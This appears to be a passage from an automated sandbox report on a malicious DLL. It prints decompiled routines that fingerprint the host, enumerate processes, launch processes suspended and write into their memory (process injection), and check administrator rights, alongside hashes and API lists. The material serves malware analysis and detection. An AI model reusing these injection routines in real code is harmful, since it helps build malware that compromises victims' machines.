				_t29 = GetVolumeInformationW(_t27,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100);
				asm("sbb eax, eax");
				_v8 = _v8 &  ~_t29;
				E6C4D85B6( &_v16);
				_t33 = E6C4DC3D4(_t43);
				E6C4D9621( &(_t43[E6C4DC3D4(_t43)]), 0x100 - _t33, L"%u", _v8);
				lstrcatW(_t43, _t56);
				_t38 = E6C4DC3D4(_t43);
				_v12 = _t38;
				CharUpperBuffW(_t43, _t38);
				return E6C4DD442(_t43, E6C4DC3D4(_t43) + _t40, 0);
			}

0x6c4db7ea
0x6c4db7f3
0x6c4db7ff
0x6c4db805
0x6c4db807
0x6c4db80f
0x6c4db822
0x6c4db831
0x6c4db83c
0x6c4db849
0x6c4db863
0x6c4db868
0x6c4db86a
0x6c4db871
0x6c4db881
0x6c4db892
0x6c4db89c
0x6c4db8a4
0x6c4db8ab
0x6c4db8ae
0x6c4db8cb

APIs

memset.MSVCRT ref: 6C4DB807
GetComputerNameW.KERNEL32(?,?,74EC17D9,00000000,74EC11C0), ref: 6C4DB822
lstrcpynW.KERNEL32(?,?,00000100), ref: 6C4DB831
GetVolumeInformationW.KERNEL32(00000000,?,00000100,00000000,00000000,00000000,?,00000100), ref: 6C4DB863

Part of subcall function 6C4D9621: _vsnwprintf.MSVCRT ref: 6C4D963E

lstrcatW.KERNEL32 ref: 6C4DB89C
CharUpperBuffW.USER32(?,00000000), ref: 6C4DB8AE

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: BuffCharComputerInformationNameUpperVolume_vsnwprintflstrcatlstrcpynmemset
String ID:
API String ID: 3410906232-0
Opcode ID: 5cbd5fa017ec754742a13b0375f986a265e35a0a464c345eb7a33285ef1a1f61
Instruction ID: c0cd4ef383e51b3d026221bb2a66f8a1dccf45c68b8a6ad291926fe3af14a329
Opcode Fuzzy Hash: 5cbd5fa017ec754742a13b0375f986a265e35a0a464c345eb7a33285ef1a1f61
Instruction Fuzzy Hash: B4218BB2A00218BFDB10EBB4CC59FEE77BDEB45214F124569F505D2241EE746E4887A0

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DABE5, Relevance: 7.6, APIs: 5, Instructions: 65
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6C4DABE5(intOrPtr __ecx, void* __edx) {
				void* _v304;
				void* _v308;
				signed int _t14;
				signed int _t15;
				void* _t22;
				intOrPtr _t28;
				void* _t31;
				intOrPtr _t33;
				void* _t40;
				void* _t42;

				_t33 = __ecx;
				_t31 = __edx; // executed
				_t14 = CreateToolhelp32Snapshot(2, 0);
				_t42 = _t14;
				_t15 = _t14 | 0xffffffff;
				if(_t42 != _t15) {
					memset( &_v304, 0, 0x128);
					_v304 = 0x128;
					if(Process32First(_t42,  &_v304) != 0) {
						while(1) {
							_t22 = E6C4DCD02(_t33,  &_v308, _t31); // executed
							_t40 = _t22;
							if(_t40 == 0) {
								break;
							}
							_t33 =  *0x6c4ee684; // 0x21afaa0
							if(Process32Next(_t42,  &_v308) != 0) {
								continue;
							}
							break;
						}
						CloseHandle(_t42);
						_t15 = 0 | _t40 == 0x00000000;
					} else {
						_t28 =  *0x6c4ee684; // 0x21afaa0
						 *((intOrPtr*)(_t28 + 0x30))(_t42);
						_t15 = 0xfffffffe;
					}
				}
				return _t15;
			}

0x6c4dabe5
0x6c4dabfd
0x6c4dabff
0x6c4dac02
0x6c4dac04
0x6c4dac09
0x6c4dac18
0x6c4dac20
0x6c4dac34
0x6c4dac44
0x6c4dac4a
0x6c4dac4f
0x6c4dac55
0x00000000
0x00000000
0x6c4dac57
0x6c4dac68
0x00000000
0x00000000
0x00000000
0x6c4dac68
0x6c4dac70
0x6c4dac77
0x6c4dac36
0x6c4dac36
0x6c4dac3c
0x6c4dac41
0x6c4dac41
0x6c4dac34
0x6c4dac80

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000011,?,00000010), ref: 6C4DABFF
memset.MSVCRT ref: 6C4DAC18
Process32First.KERNEL32(00000000,?), ref: 6C4DAC2F
Process32Next.KERNEL32(00000000,?), ref: 6C4DAC63
CloseHandle.KERNEL32(00000000), ref: 6C4DAC70

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32memset
String ID:
API String ID: 1267121359-0
Opcode ID: a428e0faad83619c68eb3aa81740fe68f0688b6c345b109b30b6babdda3ee608
Instruction ID: 50404a01724a8ee2ee7238094480fb20b1701af050aa2613508d53f64593fe98
Opcode Fuzzy Hash: a428e0faad83619c68eb3aa81740fe68f0688b6c345b109b30b6babdda3ee608
Instruction Fuzzy Hash: 6111AB722042015BD710EB78DD98E9737ACEF8A775F560619F520C7281EB24E8058795

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DE1FE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35
libraryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E6C4DE1FE(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				char _t5;
				struct HINSTANCE__* _t7;
				void* _t10;
				void* _t12;
				void* _t22;
				void* _t25;

				_push(__ecx);
				_t12 = __ecx;
				_t22 = __edx;
				_t5 = E6C4D95A8(_a4);
				_t25 = 0;
				_v8 = _t5;
				_push(_t5);
				if(_a4 != 0x7c3) {
					_t7 = LoadLibraryA(); // executed
				} else {
					_t7 = GetModuleHandleA();
				}
				if(_t7 != 0) {
					_t10 = E6C4DE1B3(_t12, _t22, _t7); // executed
					_t25 = _t10;
				}
				_t4 =  &_v8; // 0x6c4d604e
				E6C4D85A3(_t4);
				return _t25;
			}

0x6c4de201
0x6c4de204
0x6c4de20a
0x6c4de20c
0x6c4de211
0x6c4de213
0x6c4de21d
0x6c4de21e
0x6c4de22d
0x6c4de220
0x6c4de220
0x6c4de220
0x6c4de231
0x6c4de238
0x6c4de23e
0x6c4de23e
0x6c4de240
0x6c4de243
0x6c4de24e

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000001,?,6C4EBA20), ref: 6C4DE220
LoadLibraryA.KERNEL32(00000000,00000000,00000001,?,6C4EBA20), ref: 6C4DE22D

Strings

N`Ml, xrefs: 6C4DE240

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLibraryLoadModule
String ID: N`Ml
API String ID: 4133054770-327886601
Opcode ID: 2aae67aa3ed615e436fcd9f4fee45baff2e6442afefbb54797468ca41d93ed9d
Instruction ID: 6afa22d807705abf64d5fe87bdb2dec331029ea27d38ec8356032196196ff554
Opcode Fuzzy Hash: 2aae67aa3ed615e436fcd9f4fee45baff2e6442afefbb54797468ca41d93ed9d
Instruction Fuzzy Hash: 41F08232701114ABDB04FBADE8E4C9AF3AC9B95659716442AF406D3341DAB0FE4086E0

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DCA67, Relevance: 4.6, APIs: 3, Instructions: 120
threadCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6C4DCA67(intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				char _v24;
				void* _v36;
				char _v40;
				char _v80;
				char _t37;
				intOrPtr _t38;
				void* _t45;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t54;
				intOrPtr _t57;
				long _t61;
				intOrPtr _t62;
				signed int _t65;
				signed int _t68;
				signed int _t82;
				void* _t85;
				char _t86;

				_v8 = _v8 & 0x00000000;
				_v20 = __edx;
				_t65 = 0;
				_t37 = E6C4DC93F( &_v8);
				_t86 = _t37;
				_v24 = _t86;
				_t87 = _t86;
				if(_t86 == 0) {
					return _t37;
				}
				_t38 =  *0x6c4ee688; // 0x2130590
				_t7 = _t38 + 0xac; // 0xfe7a5504
				E6C4DA8AF( &_v80,  *_t7 + 7, _t87);
				_t82 = _v8;
				_t68 = 0;
				_v16 = 0;
				if(_t82 == 0) {
					L20:
					E6C4D85FB( &_v24, 0);
					return _t65;
				}
				while(_t65 == 0) {
					while(_t65 == 0) {
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_t45 = E6C4DAEA8( *((intOrPtr*)(_t86 + _t68 * 4)),  &_v40); // executed
						_t92 = _t45;
						if(_t45 >= 0) {
							_t54 = E6C4DCBB9(E6C4D5CCD,  &_v40, _t92, _v20); // executed
							if(_t54 != 0) {
								_t57 =  *0x6c4ee684; // 0x21afaa0
								_t85 =  *((intOrPtr*)(_t57 + 0xc4))(0, 0, 0,  &_v80);
								if(_t85 != 0) {
									GetLastError();
									_t61 = ResumeThread(_v36);
									_t62 =  *0x6c4ee684; // 0x21afaa0
									if(_t61 != 0) {
										_push(0xea60);
										_push(_t85);
										if( *((intOrPtr*)(_t62 + 0x2c))() == 0) {
											_t65 = _t65 + 1;
										}
										_t62 =  *0x6c4ee684; // 0x21afaa0
									}
									CloseHandle(_t85);
								}
							}
						}
						if(_v40 != 0) {
							if(_t65 == 0) {
								_t52 =  *0x6c4ee684; // 0x21afaa0
								 *((intOrPtr*)(_t52 + 0x104))(_v40, _t65);
							}
							_t48 =  *0x6c4ee684; // 0x21afaa0
							 *((intOrPtr*)(_t48 + 0x30))(_v36);
							_t50 =  *0x6c4ee684; // 0x21afaa0
							 *((intOrPtr*)(_t50 + 0x30))(_v40);
						}
						_t68 = _v16;
						_t47 = _v12 + 1;
						_v12 = _t47;
						if(_t47 < 2) {
							continue;
						} else {
							break;
						}
					}
					_t82 = _v8;
					_t68 = _t68 + 1;
					_v16 = _t68;
					if(_t68 < _t82) {
						continue;
					} else {
						break;
					}
					do {
						goto L19;
					} while (_t82 != 0);
					goto L20;
				}
				L19:
				E6C4D85FB(_t86, 0xfffffffe);
				_t86 = _t86 + 4;
				_t82 = _t82 - 1;
			}

0x6c4dca6d
0x6c4dca76
0x6c4dca79
0x6c4dca7b
0x6c4dca80
0x6c4dca82
0x6c4dca85
0x6c4dca87
0x6c4dcbb8
0x6c4dcbb8
0x6c4dca8d
0x6c4dca96
0x6c4dca9f
0x6c4dcaa4
0x6c4dcaa7
0x6c4dcaa9
0x6c4dcaae
0x6c4dcba5
0x6c4dcbab
0x00000000
0x6c4dcbb4
0x6c4dcab4
0x6c4dcabf
0x6c4dcacc
0x6c4dcad0
0x6c4dcad1
0x6c4dcad2
0x6c4dcad6
0x6c4dcadb
0x6c4dcadd
0x6c4dcaea
0x6c4dcaf2
0x6c4dcafd
0x6c4dcb08
0x6c4dcb0c
0x6c4dcb0e
0x6c4dcb1c
0x6c4dcb24
0x6c4dcb29
0x6c4dcb2b
0x6c4dcb30
0x6c4dcb36
0x6c4dcb38
0x6c4dcb38
0x6c4dcb39
0x6c4dcb39
0x6c4dcb3f
0x6c4dcb3f
0x6c4dcb0c
0x6c4dcaf2
0x6c4dcb46
0x6c4dcb4a
0x6c4dcb4c
0x6c4dcb55
0x6c4dcb55
0x6c4dcb5b
0x6c4dcb63
0x6c4dcb66
0x6c4dcb6e
0x6c4dcb6e
0x6c4dcb74
0x6c4dcb77
0x6c4dcb78
0x6c4dcb7e
0x00000000
0x00000000
0x00000000
0x00000000
0x6c4dcb7e
0x6c4dcb84
0x6c4dcb87
0x6c4dcb88
0x6c4dcb8d
0x00000000
0x00000000
0x00000000
0x00000000
0x6c4dcb93
0x00000000
0x00000000
0x00000000
0x6c4dcb93
0x6c4dcb93
0x6c4dcb96
0x6c4dcb9c
0x6c4dcba0

APIs

Part of subcall function 6C4DAEA8: memset.MSVCRT ref: 6C4DAEC7
Part of subcall function 6C4DAEA8: CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 6C4DAEE7

Part of subcall function 6C4DCBB9: memset.MSVCRT ref: 6C4DCBFA
Part of subcall function 6C4DCBB9: NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 6C4DCC64
Part of subcall function 6C4DCBB9: NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 6C4DCC81
Part of subcall function 6C4DCBB9: NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 6C4DCCA2
Part of subcall function 6C4DCBB9: FreeLibrary.KERNEL32(00000000,?,00000000,00000000), ref: 6C4DCCB5

GetLastError.KERNEL32(?,00000001), ref: 6C4DCB0E
ResumeThread.KERNEL32(?,?,00000001), ref: 6C4DCB1C
CloseHandle.KERNEL32(00000000,?,00000001), ref: 6C4DCB3F

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryVirtual$Protectmemset$CloseCreateErrorFreeHandleLastLibraryProcessResumeThreadWrite
String ID:
API String ID: 1274669455-0
Opcode ID: eb54985f838e7e087fd8576138acec9256e9fd3b8345a8fd3f87ccb9e5a50658
Instruction ID: 4fc5bc35968e2c6264d876ddeb9a1d03804abdb33e436c8d42b70b3ccf676886
Opcode Fuzzy Hash: eb54985f838e7e087fd8576138acec9256e9fd3b8345a8fd3f87ccb9e5a50658
Instruction Fuzzy Hash: DC416E71B01205AFDB01FFA8D994EAD7BB9AF49319F2300A9E501A7751DB30ED058B91

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DB9DA, Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6C4DB9DA(union _TOKEN_INFORMATION_CLASS __edx, DWORD* _a4) {
				long _v8;
				void* _v12;
				void* _t12;
				void* _t20;
				void* _t22;
				union _TOKEN_INFORMATION_CLASS _t28;
				void* _t31;

				_push(_t22);
				_push(_t22);
				_t31 = 0;
				_t28 = __edx;
				_t20 = _t22;
				if(GetTokenInformation(_t20, __edx, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t12 = _t31;
				} else {
					_t31 = E6C4D85E5(_v8);
					_v12 = _t31;
					if(_t31 != 0) {
						if(GetTokenInformation(_t20, _t28, _t31, _v8, _a4) != 0) {
							goto L6;
						} else {
							E6C4D85FB( &_v12, _t16);
							goto L3;
						}
					} else {
						L3:
						_t12 = 0;
					}
				}
				return _t12;
			}

0x6c4db9dd
0x6c4db9de
0x6c4db9e5
0x6c4db9ed
0x6c4db9f1
0x6c4db9fa
0x6c4dba40
0x6c4dba40
0x6c4dba07
0x6c4dba0f
0x6c4dba11
0x6c4dba17
0x6c4dba30
0x00000000
0x6c4dba32
0x6c4dba37
0x00000000
0x6c4dba3d
0x6c4dba19
0x6c4dba19
0x6c4dba19
0x6c4dba19
0x6c4dba17
0x6c4dba46

APIs

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,74EC17D9,00000000,6C4D0000,00000000,00000000,?,6C4DBA79,?,00000000,?,6C4DD0EA), ref: 6C4DB9F5
GetLastError.KERNEL32(?,6C4DBA79,?,00000000,?,6C4DD0EA), ref: 6C4DB9FC

Part of subcall function 6C4D85E5: HeapAlloc.KERNEL32(00000008,?,?,6C4D8F65,00000100,?,6C4D5FAC), ref: 6C4D85F3

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,?,6C4DBA79,?,00000000,?,6C4DD0EA), ref: 6C4DBA2B

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: InformationToken$AllocErrorHeapLast
String ID:
API String ID: 4258577378-0
Opcode ID: 2f202e9f4274657eeb31735708ae38e16312f4faad8b22d40163b74be8d54f73
Instruction ID: 66a200911da761d6dcef8e111eff4b8499ad3f78bfcc8402490de5b938b73024
Opcode Fuzzy Hash: 2f202e9f4274657eeb31735708ae38e16312f4faad8b22d40163b74be8d54f73
Instruction Fuzzy Hash: 53014472604114BF8B20EBAADC58D8B7EBCDB457A5712055AF905D3701E630ED0197A0

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DAEA8, Relevance: 3.0, APIs: 2, Instructions: 46
processCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6C4DAEA8(WCHAR* __ecx, struct _PROCESS_INFORMATION* __edx) {
				struct _STARTUPINFOW _v72;
				signed int _t11;
				WCHAR* _t15;
				int _t19;
				struct _PROCESS_INFORMATION* _t20;

				_t20 = __edx;
				_t15 = __ecx;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t19 = 0x44;
				memset( &_v72, 0, _t19);
				_v72.cb = _t19;
				_t11 = CreateProcessW(0, _t15, 0, 0, 0, 4, 0, 0,  &_v72, _t20);
				asm("sbb eax, eax");
				return  ~( ~_t11) - 1;
			}

0x6c4daeb1
0x6c4daeb7
0x6c4daebb
0x6c4daebc
0x6c4daebd
0x6c4daebe
0x6c4daec2
0x6c4daec7
0x6c4daecf
0x6c4daee7
0x6c4daeed
0x6c4daef5

APIs

memset.MSVCRT ref: 6C4DAEC7
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 6C4DAEE7

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateProcessmemset
String ID:
API String ID: 2296119082-0
Opcode ID: 29dc25a369837e25c22f110c3487c92f084f5b9799df85e3440e531e39ac4389
Instruction ID: 2583bd14cc24c4c8de5197cd74e748d7fe1aa48f742217df6f68f4b207bb199e
Opcode Fuzzy Hash: 29dc25a369837e25c22f110c3487c92f084f5b9799df85e3440e531e39ac4389
Instruction Fuzzy Hash: DCF030F26041087FF760DABDDC4AFBBB7ECDB89664F110532FA05D6190E560AD0582B5

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DCD02, Relevance: 2.5, APIs: 2, Instructions: 48
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6C4DCD02(void* __ecx, intOrPtr _a4, signed int _a8) {
				CHAR* _v8;
				int _t28;
				signed int _t31;
				signed int _t34;
				signed int _t35;
				void* _t38;
				signed int* _t41;

				_t41 = _a8;
				_t31 = 0;
				if(_t41[1] > 0) {
					_t38 = 0;
					do {
						_t3 =  &(_t41[2]); // 0xe6840d8b
						_t34 =  *_t3;
						_t35 = 0;
						_a8 = 0;
						if( *((intOrPtr*)(_t38 + _t34 + 8)) > 0) {
							_v8 = _a4 + 0x24;
							while(1) {
								_t28 = lstrcmpiA(_v8,  *( *((intOrPtr*)(_t38 + _t34 + 0xc)) + _t35 * 4));
								_t14 =  &(_t41[2]); // 0xe6840d8b
								_t34 =  *_t14;
								if(_t28 == 0) {
									break;
								}
								_t35 = _a8 + 1;
								_a8 = _t35;
								if(_t35 <  *((intOrPtr*)(_t34 + _t38 + 8))) {
									continue;
								} else {
								}
								goto L8;
							}
							 *_t41 =  *_t41 |  *(_t34 + _t38);
						}
						L8:
						_t31 = _t31 + 1;
						_t38 = _t38 + 0x10;
						_t20 =  &(_t41[1]); // 0x1374ff85
					} while (_t31 <  *_t20);
				}
				Sleep(0xa);
				return 1;
			}

0x6c4dcd08
0x6c4dcd0b
0x6c4dcd10
0x6c4dcd13
0x6c4dcd15
0x6c4dcd15
0x6c4dcd15
0x6c4dcd18
0x6c4dcd1a
0x6c4dcd21
0x6c4dcd29
0x6c4dcd2c
0x6c4dcd36
0x6c4dcd3c
0x6c4dcd3c
0x6c4dcd41
0x00000000
0x00000000
0x6c4dcd46
0x6c4dcd47
0x6c4dcd4e
0x00000000
0x00000000
0x6c4dcd50
0x00000000
0x6c4dcd4e
0x6c4dcd55
0x6c4dcd55
0x6c4dcd57
0x6c4dcd57
0x6c4dcd58
0x6c4dcd5b
0x6c4dcd5b
0x6c4dcd60
0x6c4dcd68
0x6c4dcd74

APIs

lstrcmpi.KERNEL32(?,?,00000128,00000000,?,?,?,6C4DAC4F,?,?), ref: 6C4DCD36
Sleep.KERNEL32(0000000A,00000000,?,?,?,6C4DAC4F,?,?), ref: 6C4DCD68

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleeplstrcmpi
String ID:
API String ID: 1261054337-0
Opcode ID: 352cc3ad8e10366949b9bdab46154f2f70fc66922b6565b8cb541a032a98ed49
Instruction ID: 3b121f47ffd1c4331ab286433a3d5f70bdd26663d9c6aa1d4bcafe1f7b80a25c
Opcode Fuzzy Hash: 352cc3ad8e10366949b9bdab46154f2f70fc66922b6565b8cb541a032a98ed49
Instruction Fuzzy Hash: E3018031604219AFDB14EF69C8D4D56BBF5FF89328722C069E4698B611D330F942CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C4D5E77, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6C4D5E77() {
				intOrPtr _t3;

				_t3 =  *0x6c4ee684; // 0x21afaa0
				 *((intOrPtr*)(_t3 + 0x2c))( *0x6c4ee6a8, 0xffffffff);
				ExitProcess(0);
			}

0x6c4d5e77
0x6c4d5e84
0x6c4d5e8e

APIs

ExitProcess.KERNEL32(00000000), ref: 6C4D5E8E

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ebaf198cc69de989ee18a9760f326d580ed91dcaf1af61b4c1233fc949e15924
Instruction ID: dbfbb103f24336673f20950d90d3ba539c6262dcb10ed45cd053c4df002b6282
Opcode Fuzzy Hash: ebaf198cc69de989ee18a9760f326d580ed91dcaf1af61b4c1233fc949e15924
Instruction Fuzzy Hash: 88C00271315011AFDF80EBB4C988F0477B1AB1E322F9342A1F5299A1E7CA3098119B55

Uniqueness

Uniqueness Score: -1.00%

Function 6C4D85D0, Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6C4D85D0() {
				void* _t1;

				_t1 = HeapCreate(0, 0x80000, 0); // executed
				 *0x6c4ee768 = _t1;
				return _t1;
			}

0x6c4d85d9
0x6c4d85df
0x6c4d85e4

APIs

HeapCreate.KERNEL32(00000000,00080000,00000000,6C4D5F88), ref: 6C4D85D9

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 2fa6b94f890b564ab2f677c1b93a65fbbeea1267b06971b586455e5a325bc835
Instruction ID: 0d269b94905feffd06dcddf7bf3d0f0d49da7b7336bb59a1fbfae0c8d8f8b11b
Opcode Fuzzy Hash: 2fa6b94f890b564ab2f677c1b93a65fbbeea1267b06971b586455e5a325bc835
Instruction Fuzzy Hash: 70B01270B80300D6FFD0BB204C46B003570A349B06F320002B704581C1C6B01000CA14

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DBAA4, Relevance: 1.3, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E6C4DBAA4(void* __ecx, void* __esi) {
				intOrPtr* _v8;
				char _v12;
				void* _v16;
				char _v20;
				char _v24;
				short _v28;
				char _v32;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t29;
				intOrPtr _t31;
				intOrPtr* _t33;
				intOrPtr _t34;
				char _t37;
				union _TOKEN_INFORMATION_CLASS _t44;
				char _t45;
				intOrPtr* _t48;

				_t37 = 0;
				_v28 = 0x500;
				_t45 = 0;
				_v32 = 0;
				_t20 = E6C4DB988(__ecx);
				_v16 = _t20;
				if(_t20 != 0) {
					_push( &_v24);
					_t44 = 2;
					_t21 = E6C4DB9DA(_t44); // executed
					_t48 = _t21;
					_v20 = _t48;
					if(_t48 == 0) {
						L10:
						CloseHandle(_v16);
						if(_t48 != 0) {
							E6C4D85FB( &_v20, _t37);
						}
						return _t45;
					}
					_push( &_v12);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0x220);
					_push(0x20);
					_push(2);
					_push( &_v32);
					_t29 =  *0x6c4ee68c; // 0x21afc68
					if( *((intOrPtr*)(_t29 + 0xc))() == 0) {
						goto L10;
					}
					if( *_t48 <= 0) {
						L9:
						_t31 =  *0x6c4ee68c; // 0x21afc68
						 *((intOrPtr*)(_t31 + 0x10))(_v12);
						_t37 = 0;
						goto L10;
					}
					_t9 = _t48 + 4; // 0x4
					_t33 = _t9;
					_v8 = _t33;
					while(1) {
						_push(_v12);
						_push( *_t33);
						_t34 =  *0x6c4ee68c; // 0x21afc68
						if( *((intOrPtr*)(_t34 + 0x68))() != 0) {
							break;
						}
						_t37 = _t37 + 1;
						_t33 = _v8 + 8;
						_v8 = _t33;
						if(_t37 <  *_t48) {
							continue;
						}
						goto L9;
					}
					_t45 = 1;
					goto L9;
				}
				return _t20;
			}

0x6c4dbaab
0x6c4dbaad
0x6c4dbab4
0x6c4dbab6
0x6c4dbab9
0x6c4dbabe
0x6c4dbac3
0x6c4dbacd
0x6c4dbad0
0x6c4dbad3
0x6c4dbad8
0x6c4dbada
0x6c4dbae0
0x6c4dbb40
0x6c4dbb48
0x6c4dbb4e
0x6c4dbb55
0x6c4dbb5b
0x00000000
0x6c4dbb5c
0x6c4dbae5
0x6c4dbae6
0x6c4dbae7
0x6c4dbae8
0x6c4dbae9
0x6c4dbaea
0x6c4dbaeb
0x6c4dbaec
0x6c4dbaf1
0x6c4dbaf3
0x6c4dbaf8
0x6c4dbaf9
0x6c4dbb03
0x00000000
0x00000000
0x6c4dbb07
0x6c4dbb33
0x6c4dbb33
0x6c4dbb3b
0x6c4dbb3e
0x00000000
0x6c4dbb3e
0x6c4dbb09
0x6c4dbb09
0x6c4dbb0c
0x6c4dbb0f
0x6c4dbb0f
0x6c4dbb12
0x6c4dbb14
0x6c4dbb1e
0x00000000
0x00000000
0x6c4dbb23
0x6c4dbb24
0x6c4dbb27
0x6c4dbb2c
0x00000000
0x00000000
0x00000000
0x6c4dbb2e
0x6c4dbb32
0x00000000
0x6c4dbb32
0x6c4dbb61

APIs

Part of subcall function 6C4DB988: GetCurrentThread.KERNEL32(00000008,00000000,6C4D0000,00000000,?,?,6C4DBABE,74EC17D9,6C4D0000), ref: 6C4DB99B
Part of subcall function 6C4DB988: OpenThreadToken.ADVAPI32(00000000,?,?,6C4DBABE,74EC17D9,6C4D0000), ref: 6C4DB9A2
